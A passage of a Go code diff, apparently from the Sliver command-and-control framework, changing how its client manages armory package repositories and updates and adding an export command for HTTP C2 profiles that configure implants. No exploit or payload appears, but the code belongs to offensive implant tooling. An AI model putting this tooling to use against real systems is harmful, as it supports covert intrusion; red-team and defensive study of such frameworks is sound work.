}
|
||||
|
||||
func getArmoryConfig(name string) (assets.ArmoryConfig, error) {
|
||||
armories := getCurrentArmoryConfiguration()
|
||||
var armoryPublicKey string
|
||||
armoryConfig := assets.ArmoryConfig{}
|
||||
for _, armory := range armories {
|
||||
if armory.Name == name {
|
||||
armoryPublicKey = armory.PublicKey
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if armoryPublicKey == "" {
|
||||
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
|
||||
}
|
||||
|
||||
value, ok := currentArmories.Load(armoryPublicKey)
|
||||
if !ok {
|
||||
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
|
||||
}
|
||||
armoryConfig = value.(assets.ArmoryConfig)
|
||||
return armoryConfig, nil
|
||||
}
|
||||
|
||||
func ChangeArmoryEnabledState(cmd *cobra.Command, con *console.SliverClient, args []string, enabled bool) {
|
||||
// Get the armory's public key, change its state, then update the cache to remove packages from the armory
|
||||
var name string
|
||||
if len(args) > 0 && args[0] != "" {
|
||||
name = args[0]
|
||||
} else {
|
||||
con.PrintErrorf("an armory name is required")
|
||||
return
|
||||
}
|
||||
|
||||
armoryConfig, err := getArmoryConfig(name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
armoryPublicKey := armoryConfig.PublicKey
|
||||
armoryConfig.Enabled = enabled
|
||||
currentArmories.Store(armoryPublicKey, armoryConfig)
|
||||
|
||||
if !enabled {
|
||||
// Remove cached info for the armory if it is disabled
|
||||
armoryPackageIDs := getPackageIDsForArmory(armoryPublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
||||
}
|
||||
indexCache.Delete(armoryPublicKey)
|
||||
}
|
||||
// Force a refresh
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
con.PrintInfof("Refreshing armory information...\n")
|
||||
refresh(clientConfig)
|
||||
SaveArmories(con)
|
||||
con.PrintSuccessf("Done\n")
|
||||
}
|
||||
|
||||
func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Quick check to make sure we were provided with a name
|
||||
var name string
|
||||
if len(args) > 0 && args[0] != "" {
|
||||
name = args[0]
|
||||
}
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Get the record for the armory
|
||||
armoryConfig, err := getArmoryConfig(name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Save the old config so we can delete the existing config
|
||||
// and revert if needed
|
||||
previousConfig := assets.ArmoryConfig{
|
||||
PublicKey: armoryConfig.PublicKey,
|
||||
RepoURL: armoryConfig.RepoURL,
|
||||
Authorization: armoryConfig.Authorization,
|
||||
AuthorizationCmd: armoryConfig.AuthorizationCmd,
|
||||
Name: armoryConfig.Name,
|
||||
Enabled: armoryConfig.Enabled,
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("name") {
|
||||
newName, _ := cmd.Flags().GetString("name")
|
||||
// Make sure the name does not already exist
|
||||
if armoryNameExists(newName) {
|
||||
con.PrintErrorf("armory with name %s already exists\n", name)
|
||||
return
|
||||
}
|
||||
armoryConfig.Name = newName
|
||||
}
|
||||
if cmd.Flags().Changed("pubkey") {
|
||||
newPubKey, _ := cmd.Flags().GetString("pubkey")
|
||||
/*
|
||||
Since public keys are used as the key for the index cache,
|
||||
make sure we have not been given a key that already exists
|
||||
*/
|
||||
if armoryKeyExists(newPubKey) {
|
||||
con.PrintErrorf("armory provided public key already exists\n")
|
||||
return
|
||||
}
|
||||
armoryConfig.PublicKey = newPubKey
|
||||
}
|
||||
if cmd.Flags().Changed("url") {
|
||||
newUrl, _ := cmd.Flags().GetString("url")
|
||||
armoryConfig.RepoURL = newUrl
|
||||
}
|
||||
if cmd.Flags().Changed("auth") {
|
||||
newAuth, _ := cmd.Flags().GetString("auth")
|
||||
armoryConfig.Authorization = newAuth
|
||||
}
|
||||
if cmd.Flags().Changed("authcmd") {
|
||||
newAuthCmd, _ := cmd.Flags().GetString("authcmd")
|
||||
armoryConfig.AuthorizationCmd = newAuthCmd
|
||||
}
|
||||
|
||||
// We will remove the old armory and add a new one with the changed properties to force a refresh
|
||||
currentArmories.Delete(previousConfig.PublicKey)
|
||||
indexCache.Delete(previousConfig.PublicKey)
|
||||
armoryPackageIDs := getPackageIDsForArmory(previousConfig.PublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
err = verifyArmory(&armoryConfig, clientConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not modify armory: %s\n", err)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Would you like to revert the properties of the armory back to their previous values?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
} else {
|
||||
err = verifyArmory(&previousConfig, clientConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not re-add armory %s: %s\n", name, err)
|
||||
return
|
||||
}
|
||||
armoryConfig = previousConfig
|
||||
con.PrintSuccessf("Re-added armory with previous values")
|
||||
}
|
||||
}
|
||||
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
|
||||
if !cmd.Flags().Changed("no-save") {
|
||||
SaveArmories(con)
|
||||
}
|
||||
// Force a refresh
|
||||
con.PrintInfof("Refreshing armory information...\n")
|
||||
refresh(clientConfig)
|
||||
con.PrintSuccessf("Done\n")
|
||||
}
|
||||
|
||||
func RefreshArmories(cmd *cobra.Command, con *console.SliverClient) {
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
// Since this being called from the refresh command, force the refresh
|
||||
clientConfig.IgnoreCache = true
|
||||
clearAllCaches()
|
||||
armoriesInitialized = false
|
||||
con.PrintInfof("Refreshing armory information...")
|
||||
refresh(clientConfig)
|
||||
con.PrintSuccessf("Refreshed armory information\n")
|
||||
}
|
||||
|
||||
func ResetArmoryConfig(cmd *cobra.Command, con *console.SliverClient) {
|
||||
armoryConfigPath := filepath.Join(assets.GetRootAppDir(), assets.ArmoryConfigFileName)
|
||||
con.PrintInfof("Removing armory configuration file %s...", armoryConfigPath)
|
||||
err := os.Remove(armoryConfigPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not delete armory configuration file %s: %s", armoryConfigPath, err)
|
||||
return
|
||||
}
|
||||
con.PrintSuccessf("Removed armory configuration file %s\n", armoryConfigPath)
|
||||
|
||||
// Force a refresh
|
||||
RefreshArmories(cmd, con)
|
||||
con.PrintSuccessf("Successfully reset armory configuration\n")
|
||||
}
|
||||
@@ -19,6 +19,8 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
@@ -67,6 +69,18 @@ type armoryPkgResponse struct {
|
||||
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
|
||||
}
|
||||
|
||||
func calculatePackageHash(pkg *ArmoryPackage) string {
|
||||
if pkg == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
hasher := sha256.New()
|
||||
// Hash some of the things that make the package unique
|
||||
packageIdentifier := []byte(pkg.RepoURL + pkg.PublicKey + pkg.ArmoryName + pkg.CommandName)
|
||||
hasher.Write(packageIdentifier)
|
||||
return fmt.Sprintf("%x", hasher.Sum(nil))
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
@@ -79,7 +93,10 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, err
|
||||
}
|
||||
|
||||
resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
@@ -111,9 +128,45 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Populate armory name and ID information for assets
|
||||
for _, bundle := range armoryIndex.Bundles {
|
||||
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
}
|
||||
for _, alias := range armoryIndex.Aliases {
|
||||
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
if cached := packageCacheLookupByCmdAndArmory(alias.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
|
||||
// A package with this name is in the cache, so we will remove it here so that the latest version is added
|
||||
// when the index is parsed
|
||||
pkgCache.Delete(cached.ID)
|
||||
}
|
||||
alias.ID = calculatePackageHash(alias)
|
||||
}
|
||||
for _, extension := range armoryIndex.Extensions {
|
||||
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
if cached := packageCacheLookupByCmdAndArmory(extension.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
|
||||
// A package with this name is in the cache, so we will remove it here so that the latest version is added
|
||||
// when the index is parsed
|
||||
pkgCache.Delete(cached.ID)
|
||||
}
|
||||
extension.ID = calculatePackageHash(extension)
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
func decodePackageSignature(sigString string) ([]byte, error) {
|
||||
// Base64 decode the signature
|
||||
decodedData := make([]byte, base64.StdEncoding.DecodedLen(len(sigString)))
|
||||
_, err := base64.StdEncoding.Decode(decodedData, []byte(sigString))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// If decodedData does not end up being base64.StdEncoding.DecodedLen(len(data)) bytes long, trim the null bytes
|
||||
decodedData = bytes.Trim(decodedData, "\x00")
|
||||
return decodedData, nil
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
@@ -122,25 +175,29 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
return nil, nil, fmt.Errorf("api returned non-200 status code (%d)", resp.StatusCode)
|
||||
}
|
||||
pkgResp := &armoryPkgResponse{}
|
||||
err = json.Unmarshal(body, pkgResp)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
|
||||
decodedSig, err := decodePackageSignature(pkgResp.Minisig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig(decodedSig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
tarGzURL, err := url.Parse(pkgResp.TarGzURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -242,6 +299,20 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Populate armory name and ID information for assets
|
||||
for _, bundle := range armoryIndex.Bundles {
|
||||
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
}
|
||||
for _, alias := range armoryIndex.Aliases {
|
||||
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
alias.ID = calculatePackageHash(alias)
|
||||
}
|
||||
for _, extension := range armoryIndex.Extensions {
|
||||
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
extension.ID = calculatePackageHash(extension)
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
@@ -436,6 +507,12 @@ func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig
|
||||
"Accept": {"application/octet-stream"},
|
||||
}
|
||||
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp == nil {
|
||||
return nil, fmt.Errorf("invalid response when downloading %s, try again later", reqURL)
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
|
||||
return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
@@ -47,7 +47,7 @@ func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
return
|
||||
}
|
||||
|
||||
aliases, exts := packagesInCache()
|
||||
aliases, exts := packageManifestsInCache()
|
||||
matchedAliases := []*alias.AliasManifest{}
|
||||
for _, a := range aliases {
|
||||
if nameExpr.MatchString(a.CommandName) {
|
||||
|
||||
+296
-36
@@ -19,56 +19,127 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
type VersionInformation struct {
|
||||
OldVersion string
|
||||
NewVersion string
|
||||
ArmoryName string
|
||||
}
|
||||
|
||||
type PackageType uint
|
||||
|
||||
const (
|
||||
AliasPackage PackageType = iota
|
||||
ExtensionPackage
|
||||
)
|
||||
|
||||
type UpdateIdentifier struct {
|
||||
Type PackageType
|
||||
Name string
|
||||
}
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var selectedUpdates []UpdateIdentifier
|
||||
var err error
|
||||
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
// Aliases
|
||||
aliasUpdates := checkForAliasUpdates(clientConfig, con)
|
||||
if 0 < len(aliasUpdates) {
|
||||
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
|
||||
for _, aliasName := range aliasUpdates {
|
||||
err := installAliasPackageByName(aliasName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All aliases up to date!\n")
|
||||
armoryName, err := cmd.Flags().GetString("armory")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Extensions
|
||||
extUpdates := checkForExtensionUpdates(clientConfig, con)
|
||||
if 0 < len(extUpdates) {
|
||||
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
|
||||
for _, extName := range extUpdates {
|
||||
err := installExtensionPackageByName(extName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
|
||||
}
|
||||
// Find PK for the armory name
|
||||
armoryPK := getArmoryPublicKey(armoryName)
|
||||
|
||||
// If the armory with the name is not found, print a warning
|
||||
if cmd.Flags().Changed("armory") && armoryPK == "" {
|
||||
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
|
||||
}
|
||||
|
||||
// Check packages for updates
|
||||
aliasUpdates := checkForAliasUpdates(armoryPK)
|
||||
extUpdates := checkForExtensionUpdates(armoryPK)
|
||||
|
||||
// Display a table of results
|
||||
if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
|
||||
updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
|
||||
displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
|
||||
selectedUpdates, err = getUpdatesFromUser(con, updateKeys)
|
||||
if err != nil {
|
||||
con.PrintErrorf(err.Error() + "\n")
|
||||
return
|
||||
}
|
||||
if len(selectedUpdates) == 0 {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All extensions up to date!\n")
|
||||
con.PrintSuccessf("All packages are up to date")
|
||||
return
|
||||
}
|
||||
|
||||
for _, update := range selectedUpdates {
|
||||
switch update.Type {
|
||||
case AliasPackage:
|
||||
aliasVersionInfo, ok := aliasUpdates[update.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, aliasVersionInfo.NewVersion)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get update package for alias %s: %s\n", update.Name, err)
|
||||
// Keep going because other packages might not encounter errors
|
||||
continue
|
||||
}
|
||||
err = installAliasPackage(updatedPackage, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
|
||||
}
|
||||
case ExtensionPackage:
|
||||
extVersionInfo, ok := extUpdates[update.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, extVersionInfo.NewVersion)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, err)
|
||||
continue
|
||||
}
|
||||
err = installExtensionPackage(updatedPackage, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
|
||||
}
|
||||
default:
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string {
|
||||
cachedAliases, _ := packagesInCache()
|
||||
results := []string{}
|
||||
func checkForAliasUpdates(armoryPK string) map[string]VersionInformation {
|
||||
cachedAliases, _ := packageManifestsInCache()
|
||||
results := make(map[string]VersionInformation)
|
||||
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
|
||||
data, err := os.ReadFile(aliasManifestPath)
|
||||
if err != nil {
|
||||
@@ -79,19 +150,31 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClie
|
||||
continue
|
||||
}
|
||||
for _, latestAlias := range cachedAliases {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
/*
|
||||
We used to check if the version identifiers were different between the installed version and the
|
||||
version in the armory. This worked when we had one armory, but with multiple potential armories,
|
||||
we have to have some type of versioning. We do not have an official versioning scheme for packages,
|
||||
so we will rely on the author of the package incrementing the version identifier somehow to determine
|
||||
if a package is newer.
|
||||
*/
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version > localManifest.Version {
|
||||
if latestAlias.ArmoryPK == armoryPK || armoryPK == "" {
|
||||
results[localManifest.CommandName] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestAlias.Version,
|
||||
ArmoryName: latestAlias.ArmoryName,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string {
|
||||
_, cachedExtensions := packagesInCache()
|
||||
results := []string{}
|
||||
func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
|
||||
_, cachedExtensions := packageManifestsInCache()
|
||||
// Return a map of extension name to minimum version to install
|
||||
results := make(map[string]VersionInformation)
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
data, err := os.ReadFile(extManifestPath)
|
||||
if err != nil {
|
||||
@@ -102,13 +185,190 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.Name)
|
||||
/*
|
||||
We used to check if the version identifiers were different between the installed version and the
|
||||
version in the armory. This worked when we had one armory, but with multiple potential armories,
|
||||
we have to have some type of versioning. We do not have an official versioning scheme for packages,
|
||||
so we will rely on the author of the package incrementing the version identifier somehow to determine
|
||||
if a package is newer.
|
||||
*/
|
||||
if latestExt.Name == localManifest.Name && latestExt.Version > localManifest.Version {
|
||||
if latestExt.ArmoryPK == armoryPK || armoryPK == "" {
|
||||
results[localManifest.Name] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestExt.Version,
|
||||
ArmoryName: latestExt.ArmoryName,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func sortUpdateIdentifiers(aliasUpdates, extensionUpdates map[string]VersionInformation) []UpdateIdentifier {
|
||||
/*
|
||||
This function helps us keep updates straight when the user chooses from them. Just in case
|
||||
an alias and an extension exist with the same name, we cannot simply combine the two maps.
|
||||
|
||||
We will assume that no two aliases and no two extensions have the same name.
|
||||
*/
|
||||
|
||||
result := []UpdateIdentifier{}
|
||||
|
||||
aliasNames := util.Keys(aliasUpdates)
|
||||
extensionNames := util.Keys(extensionUpdates)
|
||||
for _, name := range aliasNames {
|
||||
result = append(result, UpdateIdentifier{
|
||||
Type: AliasPackage,
|
||||
Name: name,
|
||||
})
|
||||
}
|
||||
for _, name := range extensionNames {
|
||||
result = append(result, UpdateIdentifier{
|
||||
Type: ExtensionPackage,
|
||||
Name: name,
|
||||
})
|
||||
}
|
||||
|
||||
sort.Slice(result, func(i, j int) bool {
|
||||
return result[i].Name < result[j].Name
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdentifier, aliasUpdates, extensionUpdates map[string]VersionInformation) {
|
||||
var (
|
||||
aliasSuffix string
|
||||
extensionSuffix string
|
||||
title string = "Available Updates (%d alias%s, %d extension%s)"
|
||||
)
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetAutoIndex(true)
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if len(aliasUpdates) != 1 {
|
||||
aliasSuffix = "es"
|
||||
}
|
||||
if len(extensionUpdates) != 1 {
|
||||
extensionSuffix = "s"
|
||||
}
|
||||
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Package Name",
|
||||
"Package Type",
|
||||
"Installed Version",
|
||||
"Available Version",
|
||||
})
|
||||
|
||||
for _, key := range updateKeys {
|
||||
var (
|
||||
packageName string
|
||||
packageType string
|
||||
packageVersion VersionInformation
|
||||
ok bool
|
||||
)
|
||||
switch key.Type {
|
||||
case AliasPackage:
|
||||
packageVersion, ok = aliasUpdates[key.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
packageName = key.Name
|
||||
packageType = "Alias"
|
||||
case ExtensionPackage:
|
||||
packageVersion, ok = extensionUpdates[key.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
packageName = key.Name
|
||||
packageType = "Extension"
|
||||
default:
|
||||
continue
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
packageName,
|
||||
packageType,
|
||||
packageVersion.OldVersion,
|
||||
fmt.Sprintf("%s (Armory: %s)", packageVersion.NewVersion, packageVersion.ArmoryName),
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
}
|
||||
|
||||
func getUpdatesFromUser(con *console.SliverClient, updateKeys []UpdateIdentifier) (chosenUpdates []UpdateIdentifier, selectionError error) {
|
||||
chosenUpdates = []UpdateIdentifier{}
|
||||
|
||||
var updateResponse string
|
||||
|
||||
con.Println("You can apply all, none, or some updates.\nTo apply some updates, specify the number of a single update, a range (1-3), or a combination of the two (1, 3-5, 7)\n")
|
||||
err := survey.AskOne(&survey.Input{
|
||||
Message: "Which updates would you like to apply? [A]ll, [N]one, or some:",
|
||||
}, &updateResponse)
|
||||
if err != nil {
|
||||
// We do not need to set selectionError because an error here means the same thing as responding with "none"
|
||||
return
|
||||
}
|
||||
|
||||
updateResponse = strings.ToLower(updateResponse)
|
||||
updateResponse = strings.Replace(updateResponse, " ", "", -1)
|
||||
if updateResponse == "n" || updateResponse == "none" {
|
||||
return
|
||||
}
|
||||
|
||||
if updateResponse == "a" || updateResponse == "all" {
|
||||
chosenUpdates = updateKeys
|
||||
return
|
||||
}
|
||||
|
||||
selections := strings.Split(updateResponse, ",")
|
||||
|
||||
for _, selection := range selections {
|
||||
// Handle a range
|
||||
if strings.Contains(selection, "-") {
|
||||
rangeParts := strings.Split(selection, "-")
|
||||
start, err := strconv.Atoi(rangeParts[0])
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[0])
|
||||
return
|
||||
}
|
||||
end, err := strconv.Atoi(rangeParts[1])
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[1])
|
||||
return
|
||||
}
|
||||
// Adjust for the 0 indexed slice we are working with
|
||||
start -= 1
|
||||
end -= 1
|
||||
if start < 0 {
|
||||
start = 0
|
||||
}
|
||||
if start > end {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", selection)
|
||||
return
|
||||
}
|
||||
if end >= len(updateKeys) {
|
||||
end = len(updateKeys) - 1
|
||||
}
|
||||
|
||||
for i := start; i <= end; i++ {
|
||||
chosenUpdates = append(chosenUpdates, updateKeys[i])
|
||||
}
|
||||
} else {
|
||||
// Single entry
|
||||
index, err := strconv.Atoi(selection)
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", selection)
|
||||
return
|
||||
}
|
||||
index -= 1
|
||||
if index >= 0 && index < len(updateKeys) {
|
||||
chosenUpdates = append(chosenUpdates, updateKeys[index])
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -123,6 +123,169 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
}
|
||||
}
|
||||
|
||||
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
filepath, _ := cmd.Flags().GetString("file")
|
||||
if filepath == "" {
|
||||
con.PrintErrorf("Missing file path\n")
|
||||
return
|
||||
}
|
||||
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
return
|
||||
}
|
||||
|
||||
if profileName == constants.DefaultC2Profile {
|
||||
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName = selectC2Profile(httpC2Profiles.Configs)
|
||||
}
|
||||
}
|
||||
|
||||
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
jsonProfile, err := C2ConfigToJSON(profileName, profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = os.WriteFile(filepath, jsonProfile, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.Println(profileName, "C2 profile exported to ", filepath)
|
||||
}
|
||||
|
||||
// convert protobuf to json
|
||||
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte, error) {
|
||||
implantConfig := assets.HTTPC2ImplantConfig{
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
